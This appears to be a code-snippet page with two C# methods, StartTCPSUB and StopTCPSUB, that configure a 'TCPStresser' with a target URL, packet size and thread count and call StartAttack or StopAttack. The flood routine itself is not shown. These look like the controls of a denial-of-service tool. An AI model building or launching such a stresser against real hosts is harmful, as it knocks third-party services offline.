示例#1
0
 public void StopTCPSUB()
 {
     try
     {
         if (TCPStresser.Alive)
         {
             TCPStresser.StopAttack();
         }
     }
     catch (Exception exception1)
     {
         ProjectData.SetProjectError(exception1);
         ProjectData.ClearProjectError();
     }
 }
示例#2
0
 public void StartTCPSUB(string URL, int SizePack, int Threads)
 {
     try
     {
         if (!TCPStresser.Alive)
         {
             TCPStresser.URLS  = URL;
             TCPStresser.Size  = SizePack;
             TCPStresser.jThre = Threads;
             TCPStresser.StartAttack();
         }
     }
     catch (Exception exception1)
     {
         ProjectData.SetProjectError(exception1);
         ProjectData.ClearProjectError();
     }
 }